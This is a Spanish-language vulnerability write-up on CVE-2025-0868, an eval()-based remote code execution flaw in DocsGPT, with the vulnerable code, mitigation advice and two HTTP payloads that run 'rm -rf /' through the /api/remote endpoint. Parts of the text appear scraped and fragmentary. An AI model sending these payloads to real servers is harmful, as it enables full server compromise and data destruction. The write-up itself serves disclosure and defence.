
Informe detallado de pruebas de penetración y demostración de exploit para CVE-2025-0868, un RCE crítico en DocsGPT mediante eval() inseguro, que incluye configuración de laboratorio, creación de payloads y estrategias de mitigación.
El 20 de febrero de 2025 se reveló una vulnerabilidad crítica de ejecución remota de código (RCE) (CVE-2025-0868) en la biblioteca de código abierto DocsGPT, causada por el uso inseguro de eval() al analizar cargas útiles JSON.
Detalles clave:
Esta vulnerabilidad permite a los atacantes ejecutar código Python arbitrario a través del endpoint /api/remote. DocsGPT es una herramienta de IA generativa de código abierto que permite consultar documentación de proyectos utilizando modelos GPT.
| Categoría | Detalles |
|---|---|
| ID de CVE | CVE-2025-0868 |
| Software afectado | DocsGPT v0.8.1 – v0.12.0 |
| Tipo de vulnerabilidad | Ejecución Remota de Código (RCE) |
| Vector de ataque | Basado en red (solicitud HTTP a /api/remote) |
| Causa raíz | Uso inseguro de eval() en entradas JSON no confiables |
| Impacto | Compromiso total del servidor (ejecución arbitraria de comandos) |
| Mapeo CWE | CWE-77: Neutralización incorrecta de elementos especiales utilizados en un comando |
Vector: AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
Puntuación base: 9.3 (CRÍTICA)
Métricas de explotabilidad:
Métricas de impacto:
La vulnerabilidad existe en reddit_loader.py donde la entrada del usuario se procesa utilizando la función insegura eval():
def load_data(self, inputs):
data = eval(inputs) # Código vulnerable
client_id = data.get("client_id")
client_secret = data.get("client_secret")
user_agent = data.get("user_agent")
Esto permite a un atacante ejecutar código Python malicioso dentro de campos JSON: POST /api/remote HTTP/1.1 Content-Type: application/json
{"data": "import('os').system('rm -rf /')"}
Para explotar esta vulnerabilidad, recreamos el entorno vulnerable y un espacio de trabajo seguro utilizando:
Desarrollamos un script en Python que ejecuta Ejecución Remota de Código (RCE) mediante el envío de una carga útil maliciosa al endpoint /api/remote, explotando el uso inseguro de eval().
/api/remote./api/remote.POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
Actualizar a DocsGPT v0.12.1 y versiones posteriores.
Reemplazar eval() con json.loads().